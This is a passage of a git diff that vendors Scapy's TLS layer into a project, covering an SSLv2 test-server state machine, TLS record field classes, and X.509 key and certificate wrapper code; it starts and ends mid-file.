SSLv2ServerVerify in hs_msg: + return + self.add_record(is_sslv2=True) + p = SSLv2ServerVerify(challenge=self.cur_session.sslv2_challenge) + self.add_msg(p) + raise self.SSLv2_ADDED_SERVERVERIFY() + + @ATMT.condition(SSLv2_RECEIVED_CLIENTFINISHED, prio=3) + def sslv2_missing_ClientFinished(self): + raise self.SSLv2_MISSING_CLIENTFINISHED() + + @ATMT.state() + def SSLv2_MISSING_CLIENTFINISHED(self): + self.vprint("Missing SSLv2 ClientFinished!") + raise self.SSLv2_CLOSE_NOTIFY() + + @ATMT.state() + def SSLv2_ADDED_SERVERVERIFY(self): + pass + + @ATMT.condition(SSLv2_ADDED_SERVERVERIFY) + def sslv2_should_send_ServerVerify(self): + self.flush_records() + raise self.SSLv2_SENT_SERVERVERIFY() + + @ATMT.state() + def SSLv2_SENT_SERVERVERIFY(self): + hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed] + if SSLv2ClientFinished in hs_msg: + raise self.SSLv2_HANDLED_CLIENTFINISHED() + else: + raise self.SSLv2_RECEIVED_CLIENTFINISHED() + + # SSLv2 client authentication # + + @ATMT.condition(SSLv2_HANDLED_CLIENTFINISHED, prio=2) + def sslv2_should_add_RequestCertificate(self): + hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed] + if not self.client_auth or SSLv2RequestCertificate in hs_msg: + return + self.add_record(is_sslv2=True) + self.add_msg(SSLv2RequestCertificate(challenge=randstring(16))) + raise self.SSLv2_ADDED_REQUESTCERTIFICATE() + + @ATMT.state() + def SSLv2_ADDED_REQUESTCERTIFICATE(self): + pass + + @ATMT.condition(SSLv2_ADDED_REQUESTCERTIFICATE) + def sslv2_should_send_RequestCertificate(self): + self.flush_records() + raise self.SSLv2_SENT_REQUESTCERTIFICATE() + + @ATMT.state() + def SSLv2_SENT_REQUESTCERTIFICATE(self): + raise self.SSLv2_WAITING_CLIENTCERTIFICATE() + + @ATMT.state() + def SSLv2_WAITING_CLIENTCERTIFICATE(self): + self.get_next_msg() + raise self.SSLv2_RECEIVED_CLIENTCERTIFICATE() + + @ATMT.state() + def SSLv2_RECEIVED_CLIENTCERTIFICATE(self): + pass + + @ATMT.condition(SSLv2_RECEIVED_CLIENTCERTIFICATE, prio=1) + def sslv2_should_handle_ClientCertificate(self): + self.raise_on_packet(SSLv2ClientCertificate, + self.SSLv2_HANDLED_CLIENTCERTIFICATE) + + @ATMT.condition(SSLv2_RECEIVED_CLIENTCERTIFICATE, prio=2) + def sslv2_missing_ClientCertificate(self): + raise self.SSLv2_MISSING_CLIENTCERTIFICATE() + + @ATMT.state() + def SSLv2_MISSING_CLIENTCERTIFICATE(self): + self.vprint("Missing SSLv2 ClientCertificate!") + raise self.SSLv2_CLOSE_NOTIFY() + + @ATMT.state() + def SSLv2_HANDLED_CLIENTCERTIFICATE(self): + self.vprint("Received client certificate...") + # We could care about the client CA, but we don't. + raise self.SSLv2_HANDLED_CLIENTFINISHED() + + # end of SSLv2 client authentication # + + @ATMT.condition(SSLv2_HANDLED_CLIENTFINISHED, prio=3) + def sslv2_should_add_ServerFinished(self): + self.add_record(is_sslv2=True) + self.add_msg(SSLv2ServerFinished(sid=randstring(16))) + raise self.SSLv2_ADDED_SERVERFINISHED() + + @ATMT.state() + def SSLv2_ADDED_SERVERFINISHED(self): + pass + + @ATMT.condition(SSLv2_ADDED_SERVERFINISHED) + def sslv2_should_send_ServerFinished(self): + self.flush_records() + raise self.SSLv2_SENT_SERVERFINISHED() + + @ATMT.state() + def SSLv2_SENT_SERVERFINISHED(self): + self.vprint("SSLv2 handshake completed!") + self.vprint_sessioninfo() + if self.is_echo_server: + self.vprint("Will now act as a simple echo server.") + raise self.SSLv2_WAITING_CLIENTDATA() + + # end of SSLv2 handshake # + + @ATMT.state() + def SSLv2_WAITING_CLIENTDATA(self): + self.get_next_msg(self.max_client_idle_time, 1) + raise self.SSLv2_RECEIVED_CLIENTDATA() + + @ATMT.state() + def SSLv2_RECEIVED_CLIENTDATA(self): + pass + + @ATMT.condition(SSLv2_RECEIVED_CLIENTDATA) + def sslv2_should_handle_ClientData(self): + if not self.buffer_in: + self.vprint("Client idle time maxed out.") + raise self.SSLv2_CLOSE_NOTIFY() + p = self.buffer_in[0] + self.buffer_in = self.buffer_in[1:] + if hasattr(p, "load"): + cli_data = p.load + print("> Received: %r" % cli_data) + if cli_data.startswith(b"goodbye"): + self.vprint() + self.vprint("Seems like the client left...") + raise self.WAITING_CLIENT() + else: + cli_data = str(p) + print("> Received: %r" % p) + + lines = cli_data.split(b"\n") + for l in lines: + if l.startswith(b"stop_server"): + raise self.SSLv2_CLOSE_NOTIFY_FINAL() + + if cli_data.startswith(b"GET / HTTP/1.1"): + p = Raw(self.http_sessioninfo()) + + if self.is_echo_server or cli_data.startswith(b"GET / HTTP/1.1"): + self.add_record(is_sslv2=True) + self.add_msg(p) + raise self.SSLv2_ADDED_SERVERDATA() + + raise self.SSLv2_HANDLED_CLIENTDATA() + + @ATMT.state() + def SSLv2_HANDLED_CLIENTDATA(self): + raise self.SSLv2_WAITING_CLIENTDATA() + + @ATMT.state() + def SSLv2_ADDED_SERVERDATA(self): + pass + + @ATMT.condition(SSLv2_ADDED_SERVERDATA) + def sslv2_should_send_ServerData(self): + self.flush_records() + raise self.SSLv2_SENT_SERVERDATA() + + @ATMT.state() + def SSLv2_SENT_SERVERDATA(self): + raise self.SSLv2_WAITING_CLIENTDATA() + + @ATMT.state() + def SSLv2_CLOSE_NOTIFY(self): + """ + There is no proper way to end an SSLv2 session. + We try and send a 'goodbye' message as a substitute. + """ + self.vprint() + self.vprint("Trying to send 'goodbye' to the client...") + + @ATMT.condition(SSLv2_CLOSE_NOTIFY) + def sslv2_close_session(self): + self.add_record() + self.add_msg(Raw('goodbye')) + try: + self.flush_records() + except Exception: + self.vprint("Could not send our goodbye. The client probably left.") # noqa: E501 + self.buffer_out = [] + self.socket.close() + raise self.WAITING_CLIENT() + + @ATMT.state() + def SSLv2_CLOSE_NOTIFY_FINAL(self): + """ + There is no proper way to end an SSLv2 session. + We try and send a 'goodbye' message as a substitute. + """ + self.vprint() + self.vprint("Trying to send 'goodbye' to the client...") + + @ATMT.condition(SSLv2_CLOSE_NOTIFY_FINAL) + def sslv2_close_session_final(self): + self.add_record() + self.add_msg(Raw('goodbye')) + try: + self.flush_records() + except Exception: + self.vprint("Could not send our goodbye. The client probably left.") # noqa: E501 + self.socket.close() + raise self.FINAL() + + @ATMT.state(final=True) + def FINAL(self): + self.vprint("Closing server socket...") + self.serversocket.close() + self.vprint("Ending TLS server automaton.") diff --git a/libs/scapy/layers/tls/basefields.py b/libs/scapy/layers/tls/basefields.py new file mode 100755 index 0000000..0abc81b --- /dev/null +++ b/libs/scapy/layers/tls/basefields.py @@ -0,0 +1,262 @@ +# This file is part of Scapy +# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard +# 2015, 2016, 2017 Maxence Tury +# This program is published under a GPLv2 license + +""" +TLS base fields, used for record parsing/building. As several operations depend +upon the TLS version or ciphersuite, the packet has to provide a TLS context. +""" +import struct + +from scapy.fields import ByteField, ShortEnumField, ShortField, StrField +import scapy.modules.six as six +from scapy.compat import orb + +_tls_type = {20: "change_cipher_spec", + 21: "alert", + 22: "handshake", + 23: "application_data"} + +_tls_version = {0x0002: "SSLv2", + 0x0200: "SSLv2", + 0x0300: "SSLv3", + 0x0301: "TLS 1.0", + 0x0302: "TLS 1.1", + 0x0303: "TLS 1.2", + 0x7f12: "TLS 1.3-d18", + 0x7f13: "TLS 1.3-d19", + 0x0304: "TLS 1.3"} + +_tls_version_options = {"sslv2": 0x0002, + "sslv3": 0x0300, + "tls1": 0x0301, + "tls10": 0x0301, + "tls11": 0x0302, + "tls12": 0x0303, + "tls13-d18": 0x7f12, + "tls13-d19": 0x7f13, + "tls13": 0x0304} + + +def _tls13_version_filter(version, legacy_version): + if version < 0x0304: + return version + else: + return legacy_version + + +class _TLSClientVersionField(ShortEnumField): + """ + We use the advertised_tls_version if it has been defined, + and the legacy 0x0303 for TLS 1.3 packets. + """ + + def i2h(self, pkt, x): + if x is None: + v = pkt.tls_session.advertised_tls_version + if v: + return _tls13_version_filter(v, 0x0303) + return "" + return x + + def i2m(self, pkt, x): + if x is None: + v = pkt.tls_session.advertised_tls_version + if v: + return _tls13_version_filter(v, 0x0303) + return b"" + return x + + +class _TLSVersionField(ShortEnumField): + """ + We use the tls_version if it has been defined, else the advertised version. + Also, the legacy 0x0301 is used for TLS 1.3 packets. + """ + + def i2h(self, pkt, x): + if x is None: + v = pkt.tls_session.tls_version + if v: + return _tls13_version_filter(v, 0x0301) + else: + adv_v = pkt.tls_session.advertised_tls_version + return _tls13_version_filter(adv_v, 0x0301) + return x + + def i2m(self, pkt, x): + if x is None: + v = pkt.tls_session.tls_version + if v: + return _tls13_version_filter(v, 0x0301) + else: + adv_v = pkt.tls_session.advertised_tls_version + return _tls13_version_filter(adv_v, 0x0301) + return x + + +class _TLSLengthField(ShortField): + def i2repr(self, pkt, x): + s = super(_TLSLengthField, self).i2repr(pkt, x) + if pkt.deciphered_len is not None: + dx = pkt.deciphered_len + ds = super(_TLSLengthField, self).i2repr(pkt, dx) + s += " [deciphered_len= %s]" % ds + return s + + +class _TLSIVField(StrField): + """ + As stated in Section 6.2.3.2. RFC 4346, TLS 1.1 implements an explicit IV + mechanism. For that reason, the behavior of the field is dependent on the + TLS version found in the packet if available or otherwise (on build, if + not overloaded, it is provided by the session). The size of the IV and + its value are obviously provided by the session. As a side note, for the + first packets exchanged by peers, NULL being the default enc alg, it is + empty (except if forced to a specific value). Also note that the field is + kept empty (unless forced to a specific value) when the cipher is a stream + cipher (and NULL is considered a stream cipher). + """ + + def i2len(self, pkt, i): + if i is not None: + return len(i) + tmp_len = 0 + cipher_type = pkt.tls_session.rcs.cipher.type + if cipher_type == "block": + if pkt.tls_session.tls_version >= 0x0302: + tmp_len = pkt.tls_session.rcs.cipher.block_size + elif cipher_type == "aead": + tmp_len = pkt.tls_session.rcs.cipher.nonce_explicit_len + return tmp_len + + def i2m(self, pkt, x): + return x or b"" + + def addfield(self, pkt, s, val): + return s + self.i2m(pkt, val) + + def getfield(self, pkt, s): + tmp_len = 0 + cipher_type = pkt.tls_session.rcs.cipher.type + if cipher_type == "block": + if pkt.tls_session.tls_version >= 0x0302: + tmp_len = pkt.tls_session.rcs.cipher.block_size + elif cipher_type == "aead": + tmp_len = pkt.tls_session.rcs.cipher.nonce_explicit_len + return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) + + def i2repr(self, pkt, x): + return repr(self.i2m(pkt, x)) + + +class _TLSMACField(StrField): + def i2len(self, pkt, i): + if i is not None: + return len(i) + return pkt.tls_session.wcs.mac_len + + def i2m(self, pkt, x): + if x is None: + return b"" + return x + + def addfield(self, pkt, s, val): + # We add nothing here. This is done in .post_build() if needed. + return s + + def getfield(self, pkt, s): + if (pkt.tls_session.rcs.cipher.type != "aead" and + False in six.itervalues(pkt.tls_session.rcs.cipher.ready)): + # XXX Find a more proper way to handle the still-encrypted case + return s, b"" + tmp_len = pkt.tls_session.rcs.mac_len + return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) + + def i2repr(self, pkt, x): + # XXX Provide status when dissection has been performed successfully? + return repr(self.i2m(pkt, x)) + + +class _TLSPadField(StrField): + def i2len(self, pkt, i): + if i is not None: + return len(i) + return 0 + + def i2m(self, pkt, x): + if x is None: + return b"" + return x + + def addfield(self, pkt, s, val): + # We add nothing here. This is done in .post_build() if needed. + return s + + def getfield(self, pkt, s): + if pkt.tls_session.consider_read_padding(): + # This should work with SSLv3 and also TLS versions. + # Note that we need to retrieve pkt.padlen beforehand, + # because it's possible that the padding is followed by some data + # from another TLS record (hence the last byte from s would not be + # the last byte from the current record padding). + tmp_len = orb(s[pkt.padlen - 1]) + return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) + return s, None + + def i2repr(self, pkt, x): + # XXX Provide status when dissection has been performed successfully? + return repr(self.i2m(pkt, x)) + + +class _TLSPadLenField(ByteField): + def addfield(self, pkt, s, val): + # We add nothing here. This is done in .post_build() if needed. + return s + + def getfield(self, pkt, s): + if pkt.tls_session.consider_read_padding(): + return ByteField.getfield(self, pkt, s) + return s, None + + +# SSLv2 fields + +class _SSLv2LengthField(_TLSLengthField): + def i2repr(self, pkt, x): + s = super(_SSLv2LengthField, self).i2repr(pkt, x) + if pkt.with_padding: + x |= 0x8000 + # elif pkt.with_escape: #XXX no complete support for 'escape' yet + # x |= 0x4000 + s += " [with padding: %s]" % hex(x) + return s + + def getfield(self, pkt, s): + msglen = struct.unpack('!H', s[:2])[0] + pkt.with_padding = (msglen & 0x8000) == 0 + if pkt.with_padding: + msglen_clean = msglen & 0x3fff + else: + msglen_clean = msglen & 0x7fff + return s[2:], msglen_clean + + +class _SSLv2MACField(_TLSMACField): + pass + + +class _SSLv2PadField(_TLSPadField): + def getfield(self, pkt, s): + if pkt.padlen is not None: + tmp_len = pkt.padlen + return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) + return s, None + + +class _SSLv2PadLenField(_TLSPadLenField): + def getfield(self, pkt, s): + if pkt.with_padding: + return ByteField.getfield(self, pkt, s) + return s, None diff --git a/libs/scapy/layers/tls/cert.py b/libs/scapy/layers/tls/cert.py new file mode 100755 index 0000000..7d167f0 --- /dev/null +++ b/libs/scapy/layers/tls/cert.py @@ -0,0 +1,987 @@ +# This file is part of Scapy +# Copyright (C) 2008 Arnaud Ebalard +# +# 2015, 2016, 2017 Maxence Tury +# This program is published under a GPLv2 license + +""" +High-level methods for PKI objects (X.509 certificates, CRLs, asymmetric keys). +Supports both RSA and ECDSA objects. + +The classes below are wrappers for the ASN.1 objects defined in x509.py. +By collecting their attributes, we bypass the ASN.1 structure, hence +there is no direct method for exporting a new full DER-encoded version +of a Cert instance after its serial has been modified (for example). +If you need to modify an import, just use the corresponding ASN1_Packet. + +For instance, here is what you could do in order to modify the serial of +'cert' and then resign it with whatever 'key':: + + f = open('cert.der') + c = X509_Cert(f.read()) + c.tbsCertificate.serialNumber = 0x4B1D + k = PrivKey('key.pem') + new_x509_cert = k.resignCert(c) + +No need for obnoxious openssl tweaking anymore. :) +""" + +from __future__ import absolute_import +from __future__ import print_function +import base64 +import os +import time + +from scapy.config import conf, crypto_validator +import scapy.modules.six as six +from scapy.modules.six.moves import range +from scapy.error import warning +from scapy.utils import binrepr +from scapy.asn1.asn1 import ASN1_BIT_STRING +from scapy.asn1.mib import hash_by_oid +from scapy.layers.x509 import (X509_SubjectPublicKeyInfo, + RSAPublicKey, RSAPrivateKey, + ECDSAPublicKey, ECDSAPrivateKey, + RSAPrivateKey_OpenSSL, ECDSAPrivateKey_OpenSSL, + X509_Cert, X509_CRL) +from scapy.layers.tls.crypto.pkcs1 import pkcs_os2ip, _get_hash, \ + _EncryptAndVerifyRSA, _DecryptAndSignRSA +from scapy.compat import raw, bytes_encode +if conf.crypto_valid: + from cryptography.hazmat.backends import default_backend + from cryptography.hazmat.primitives import serialization + from cryptography.hazmat.primitives.asymmetric import rsa, ec + from cryptography.hazmat.backends.openssl.ec import InvalidSignature + + +# Maximum allowed size in bytes for a certificate file, to avoid +# loading huge file when importing a cert +_MAX_KEY_SIZE = 50 * 1024 +_MAX_CERT_SIZE = 50 * 1024 +_MAX_CRL_SIZE = 10 * 1024 * 1024 # some are that big + + +##################################################################### +# Some helpers +##################################################################### + +@conf.commands.register +def der2pem(der_string, obj="UNKNOWN"): + """Convert DER octet string to PEM format (with optional header)""" + # Encode a byte string in PEM format. Header advertizes type. + pem_string = ("-----BEGIN %s-----\n" % obj).encode() + base64_string = base64.b64encode(der_string) + chunks = [base64_string[i:i + 64] for i in range(0, len(base64_string), 64)] # noqa: E501 + pem_string += b'\n'.join(chunks) + pem_string += ("\n-----END %s-----\n" % obj).encode() + return pem_string + + +@conf.commands.register +def pem2der(pem_string): + """Convert PEM string to DER format""" + # Encode all lines between the first '-----\n' and the 2nd-to-last '-----'. + pem_string = pem_string.replace(b"\r", b"") + first_idx = pem_string.find(b"-----\n") + 6 + if pem_string.find(b"-----BEGIN", first_idx) != -1: + raise Exception("pem2der() expects only one PEM-encoded object") + last_idx = pem_string.rfind(b"-----", 0, pem_string.rfind(b"-----")) + base64_string = pem_string[first_idx:last_idx] + base64_string.replace(b"\n", b"") + der_string = base64.b64decode(base64_string) + return der_string + + +def split_pem(s): + """ + Split PEM objects. Useful to process concatenated certificates. + """ + pem_strings = [] + while s != b"": + start_idx = s.find(b"-----BEGIN") + if start_idx == -1: + break + end_idx = s.find(b"-----END") + end_idx = s.find(b"\n", end_idx) + 1 + pem_strings.append(s[start_idx:end_idx]) + s = s[end_idx:] + return pem_strings + + +class _PKIObj(object): + def __init__(self, frmt, der, pem): + # Note that changing attributes of the _PKIObj does not update these + # values (e.g. modifying k.modulus does not change k.der). + # XXX use __setattr__ for this + self.frmt = frmt + self.der = der + self.pem = pem + + def __str__(self): + return self.der + + +class _PKIObjMaker(type): + def __call__(cls, obj_path, obj_max_size, pem_marker=None): + # This enables transparent DER and PEM-encoded data imports. + # Note that when importing a PEM file with multiple objects (like ECDSA + # private keys output by openssl), it will concatenate every object in + # order to create a 'der' attribute. When converting a 'multi' DER file + # into a PEM file, though, the PEM attribute will not be valid, + # because we do not try to identify the class of each object. + error_msg = "Unable to import data" + + if obj_path is None: + raise Exception(error_msg) + obj_path = bytes_encode(obj_path) + + if (b'\x00' not in obj_path) and os.path.isfile(obj_path): + _size = os.path.getsize(obj_path) + if _size > obj_max_size: + raise Exception(error_msg) + try: + with open(obj_path, "rb") as f: + _raw = f.read() + except Exception: + raise Exception(error_msg) + else: + _raw = obj_path + + try: + if b"-----BEGIN" in _raw: + frmt = "PEM" + pem = _raw + der_list = split_pem(_raw) + der = b''.join(map(pem2der, der_list)) + else: + frmt = "DER" + der = _raw + pem = "" + if pem_marker is not None: + pem = der2pem(_raw, pem_marker) + # type identification may be needed for pem_marker + # in such case, the pem attribute has to be updated + except Exception: + raise Exception(error_msg) + + p = _PKIObj(frmt, der, pem) + return p + + +##################################################################### +# PKI objects wrappers +##################################################################### + +############### +# Public Keys # +############### + +class _PubKeyFactory(_PKIObjMaker): + """ + Metaclass for PubKey creation. + It casts the appropriate class on the fly, then fills in + the appropriate attributes with import_from_asn1pkt() submethod. + """ + def __call__(cls, key_path=None): + + if key_path is None: + obj = type.__call__(cls) + if cls is PubKey: + cls = PubKeyRSA + obj.__class__ = cls + obj.frmt = "original" + obj.fill_and_store() + return obj + + # This deals with the rare RSA 'kx export' call. + if isinstance(key_path, tuple): + obj = type.__call__(cls) + obj.__class__ = PubKeyRSA + obj.frmt = "tuple" + obj.import_from_tuple(key_path) + return obj + + # Now for the usual calls, key_path may be the path to either: + # _an X509_SubjectPublicKeyInfo, as processed by openssl; + # _an RSAPublicKey; + # _an ECDSAPublicKey. + obj = _PKIObjMaker.__call__(cls, key_path, _MAX_KEY_SIZE) + try: + spki = X509_SubjectPublicKeyInfo(obj.der) + pubkey = spki.subjectPublicKey + if isinstance(pubkey, RSAPublicKey): + obj.__class__ = PubKeyRSA + obj.import_from_asn1pkt(pubkey) + elif isinstance(pubkey, ECDSAPublicKey): + obj.__class__ = PubKeyECDSA + try: + obj.import_from_der(obj.der) + except ImportError: + pass + else: + raise + marker = b"PUBLIC KEY" + except Exception: + try: + pubkey = RSAPublicKey(obj.der) + obj.__class__ = PubKeyRSA + obj.import_from_asn1pkt(pubkey) + marker = b"RSA PUBLIC KEY" + except Exception: + # We cannot import an ECDSA public key without curve knowledge + raise Exception("Unable to import public key") + + if obj.frmt == "DER": + obj.pem = der2pem(obj.der, marker) + return obj + + +class PubKey(six.with_metaclass(_PubKeyFactory, object)): + """ + Parent class for both PubKeyRSA and PubKeyECDSA. + Provides a common verifyCert() method. + """ + + def verifyCert(self, cert): + """ Verifies either a Cert or an X509_Cert. """ + tbsCert = cert.tbsCertificate + sigAlg = tbsCert.signature + h = hash_by_oid[sigAlg.algorithm.val] + sigVal = raw(cert.signatureValue) + return self.verify(raw(tbsCert), sigVal, h=h, t='pkcs') + + +class PubKeyRSA(PubKey, _EncryptAndVerifyRSA): + """ + Wrapper for RSA keys based on _EncryptAndVerifyRSA from crypto/pkcs1.py + Use the 'key' attribute to access original object. + """ + @crypto_validator + def fill_and_store(self, modulus=None, modulusLen=None, pubExp=None): + pubExp = pubExp or 65537 + if not modulus: + real_modulusLen = modulusLen or 2048 + private_key = rsa.generate_private_key(public_exponent=pubExp, + key_size=real_modulusLen, + backend=default_backend()) + self.pubkey = private_key.public_key() + else: + real_modulusLen = len(binrepr(modulus)) + if modulusLen and real_modulusLen != modulusLen: + warning("modulus and modulusLen do not match!") + pubNum = rsa.RSAPublicNumbers(n=modulus, e=pubExp) + self.pubkey = pubNum.public_key(default_backend()) + # Lines below are only useful for the legacy part of pkcs1.py + pubNum = self.pubkey.public_numbers() + self._modulusLen = real_modulusLen + self._modulus = pubNum.n + self._pubExp = pubNum.e + + @crypto_validator + def import_from_tuple(self, tup): + # this is rarely used + e, m, mLen = tup + if isinstance(m, bytes): + m = pkcs_os2ip(m) + if isinstance(e, bytes): + e = pkcs_os2ip(e) + self.fill_and_store(modulus=m, pubExp=e) + self.pem = self.pubkey.public_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PublicFormat.SubjectPublicKeyInfo) + self.der = pem2der(self.pem) + + def import_from_asn1pkt(self, pubkey): + modulus = pubkey.modulus.val + pubExp = pubkey.publicExponent.val + self.fill_and_store(modulus=modulus, pubExp=pubExp) + + def encrypt(self, msg, t="pkcs", h="sha256", mgf=None, L=None): + # no ECDSA encryption support, hence no ECDSA specific keywords here + return _EncryptAndVerifyRSA.encrypt(self, msg, t=t, h=h, mgf=mgf, L=L) + + def verify(self, msg, sig, t="pkcs", h="sha256", mgf=None, L=None): + return _EncryptAndVerifyRSA.verify( + self, msg, sig, t=t, h=h, mgf=mgf, L=L) + + +class PubKeyECDSA(PubKey): + """ + Wrapper for ECDSA keys based on the cryptography library. + Use the 'key' attribute to access original object. + """ + @crypto_validator + def fill_and_store(self, curve=None): + curve = curve or ec.SECP256R1 + private_key = ec.generate_private_key(curve(), default_backend()) + self.pubkey = private_key.public_key() + + @crypto_validator + def import_from_der(self, pubkey): + # No lib support for explicit curves nor compressed points. + self.pubkey = serialization.load_der_public_key(pubkey, + backend=default_backend()) # noqa: E501 + + def encrypt(self, msg, h="sha256", **kwargs): + # cryptography lib does not support ECDSA encryption + raise Exception("No ECDSA encryption support") + + @crypto_validator + def verify(self, msg, sig, h="sha256", **kwargs): + # 'sig' should be a DER-encoded signature, as per RFC 3279 + try: + self.pubkey.verify(sig, msg, ec.ECDSA(_get_hash(h))) + return True + except InvalidSignature: + return False + + +################ +# Private Keys # +################ + +class _PrivKeyFactory(_PKIObjMaker): + """ + Metaclass for PrivKey creation. + It casts the appropriate class on the fly, then fills in + the appropriate attributes with import_from_asn1pkt() submethod. + """ + def __call__(cls, key_path=None): + """ + key_path may be the path to either: + _an RSAPrivateKey_OpenSSL (as generated by openssl); + _an ECDSAPrivateKey_OpenSSL (as generated by openssl); + _an RSAPrivateKey; + _an ECDSAPrivateKey. + """ + if key_path is None: + obj = type.__call__(cls) + if cls is PrivKey: + cls = PrivKeyECDSA + obj.__class__ = cls + obj.frmt = "original" + obj.fill_and_store() + return obj + + obj = _PKIObjMaker.__call__(cls, key_path, _MAX_KEY_SIZE) + multiPEM = False + try: + privkey = RSAPrivateKey_OpenSSL(obj.der) + privkey = privkey.privateKey + obj.__class__ = PrivKeyRSA + marker = b"PRIVATE KEY" + except Exception: + try: + privkey = ECDSAPrivateKey_OpenSSL(obj.der) + privkey = privkey.privateKey + obj.__class__ = PrivKeyECDSA + marker = b"EC PRIVATE KEY" + multiPEM = True + except Exception: + try: + privkey = RSAPrivateKey(obj.der) + obj.__class__ = PrivKeyRSA + marker = b"RSA PRIVATE KEY" + except Exception: + try: + privkey = ECDSAPrivateKey(obj.der) + obj.__class__ = PrivKeyECDSA + marker = b"EC PRIVATE KEY" + except Exception: + raise Exception("Unable to import private key") + try: + obj.import_from_asn1pkt(privkey) + except ImportError: + pass + + if obj.frmt == "DER": + if multiPEM: + # this does not restore the EC PARAMETERS header + obj.pem = der2pem(raw(privkey), marker) + else: + obj.pem = der2pem(obj.der, marker) + return obj + + +class _Raw_ASN1_BIT_STRING(ASN1_BIT_STRING): + """A ASN1_BIT_STRING that ignores BER encoding""" + def __bytes__(self): + return self.val_readable + __str__ = __bytes__ + + +class PrivKey(six.with_metaclass(_PrivKeyFactory, object)): + """ + Parent class for both PrivKeyRSA and PrivKeyECDSA. + Provides common signTBSCert() and resignCert() methods. + """ + + def signTBSCert(self, tbsCert, h="sha256"): + """ + Note that this will always copy the signature field from the + tbsCertificate into the signatureAlgorithm field of the result, + regardless of the coherence between its contents (which might + indicate ecdsa-with-SHA512) and the result (e.g. RSA signing MD2). + + There is a small inheritance trick for the computation of sigVal + below: in order to use a sign() method which would apply + to both PrivKeyRSA and PrivKeyECDSA, the sign() methods of the + subclasses accept any argument, be it from the RSA or ECDSA world, + and then they keep the ones they're interested in. + Here, t will be passed eventually to pkcs1._DecryptAndSignRSA.sign(). + """ + sigAlg = tbsCert.signature + h = h or hash_by_oid[sigAlg.algorithm.val] + sigVal = self.sign(raw(tbsCert), h=h, t='pkcs') + c = X509_Cert() + c.tbsCertificate = tbsCert + c.signatureAlgorithm = sigAlg + c.signatureValue = _Raw_ASN1_BIT_STRING(sigVal, readable=True) + return c + + def resignCert(self, cert): + """ Rewrite the signature of either a Cert or an X509_Cert. """ + return self.signTBSCert(cert.tbsCertificate) + + def verifyCert(self, cert): + """ Verifies either a Cert or an X509_Cert. """ + tbsCert = cert.tbsCertificate + sigAlg = tbsCert.signature + h = hash_by_oid[sigAlg.algorithm.val] + sigVal = raw(cert.signatureValue) + return self.verify(raw(tbsCert), sigVal, h=h, t='pkcs') + + +class PrivKeyRSA(PrivKey, _EncryptAndVerifyRSA, _DecryptAndSignRSA): + """ + Wrapper for RSA keys based on _DecryptAndSignRSA from crypto/pkcs1.py + Use the 'key' attribute to access original object. + """ + @crypto_validator + def fill_and_store(self, modulus=None, modulusLen=None, pubExp=None, + prime1=None, prime2=None, coefficient=None, + exponent1=None, exponent2=None, privExp=None): + pubExp = pubExp or 65537 + if None in [modulus, prime1, prime2, coefficient, privExp, + exponent1, exponent2]: + # note that the library requires every parameter + # in order to call RSAPrivateNumbers(...) + # if one of these is missing, we generate a whole new key + real_modulusLen = modulusLen or 2048 + self.key = rsa.generate_private_key(public_exponent=pubExp, + key_size=real_modulusLen, + backend=default_backend()) + self.pubkey = self.key.public_key() + else: + real_modulusLen = len(binrepr(modulus)) + if modulusLen and real_modulusLen != modulusLen: + warning("modulus and modulusLen do not match!") + pubNum = rsa.RSAPublicNumbers(n=modulus, e=pubExp) + privNum = rsa.RSAPrivateNumbers(p=prime1, q=prime2, + dmp1=exponent1, dmq1=exponent2, + iqmp=coefficient, d=privExp, + public_numbers=pubNum) + self.key = privNum.private_key(default_backend()) + self.pubkey = self.key.public_key() + + # Lines below are only useful for the legacy part of pkcs1.py + pubNum = self.pubkey.public_numbers() + self._modulusLen = real_modulusLen + self._modulus = pubNum.n + self._pubExp = pubNum.e + + def import_from_asn1pkt(self, privkey): + modulus = privkey.modulus.val + pubExp = privkey.publicExponent.val + privExp = privkey.privateExponent.val + prime1 = privkey.prime1.val + prime2 = privkey.prime2.val + exponent1 = privkey.exponent1.val + exponent2 = privkey.exponent2.val + coefficient = privkey.coefficient.val + self.fill_and_store(modulus=modulus, pubExp=pubExp, + privExp=privExp, prime1=prime1, prime2=prime2, + exponent1=exponent1, exponent2=exponent2, + coefficient=coefficient) + + def verify(self, msg, sig, t="pkcs", h="sha256", mgf=None, L=None): + # Let's copy this from PubKeyRSA instead of adding another baseclass :) + return _EncryptAndVerifyRSA.verify( + self, msg, sig, t=t, h=h, mgf=mgf, L=L) + + def sign(self, data, t="pkcs", h="sha256", mgf=None, L=None): + return _DecryptAndSignRSA.sign(self, data, t=t, h=h, mgf=mgf, L=L) + + +class PrivKeyECDSA(PrivKey): + """ + Wrapper for ECDSA keys based on SigningKey from ecdsa library. + Use the 'key' attribute to access original object. + """ + @crypto_validator + def fill_and_store(self, curve=None): + curve = curve or ec.SECP256R1 + self.key = ec.generate_private_key(curve(), default_backend()) + self.pubkey = self.key.public_key() + + @crypto_validator + def import_from_asn1pkt(self, privkey): + self.key = serialization.load_der_private_key(raw(privkey), None, + backend=default_backend()) # noqa: E501 + self.pubkey = self.key.public_key() + + @crypto_validator + def verify(self, msg, sig, h="sha256", **kwargs): + # 'sig' should be a DER-encoded signature, as per RFC 3279 + try: + self.pubkey.verify(sig, msg, ec.ECDSA(_get_hash(h))) + return True + except InvalidSignature: + return False + + @crypto_validator + def sign(self, data, h="sha256", **kwargs): + return self.key.sign(data, ec.ECDSA(_get_hash(h))) + + +################ +# Certificates # +################ + +class _CertMaker(_PKIObjMaker): + """ + Metaclass for Cert creation. It is not necessary as it was for the keys, + but we reuse the model instead of creating redundant constructors. + """ + def __call__(cls, cert_path): + obj = _PKIObjMaker.__call__(cls, cert_path, + _MAX_CERT_SIZE, "CERTIFICATE") + obj.__class__ = Cert + try: + cert = X509_Cert(obj.der) + except Exception: + raise Exception("Unable to import certificate") + obj.import_from_asn1pkt(cert) + return obj + + +class Cert(six.with_metaclass(_CertMaker, object)): + """ + Wrapper for the X509_Cert from layers/x509.py. + Use the 'x509Cert' attribute to access original object. + """ + + def import_from_asn1pkt(self, cert): + error_msg = "Unable to import certificate" + + self.x509Cert = cert + + tbsCert = cert.tbsCertificate + 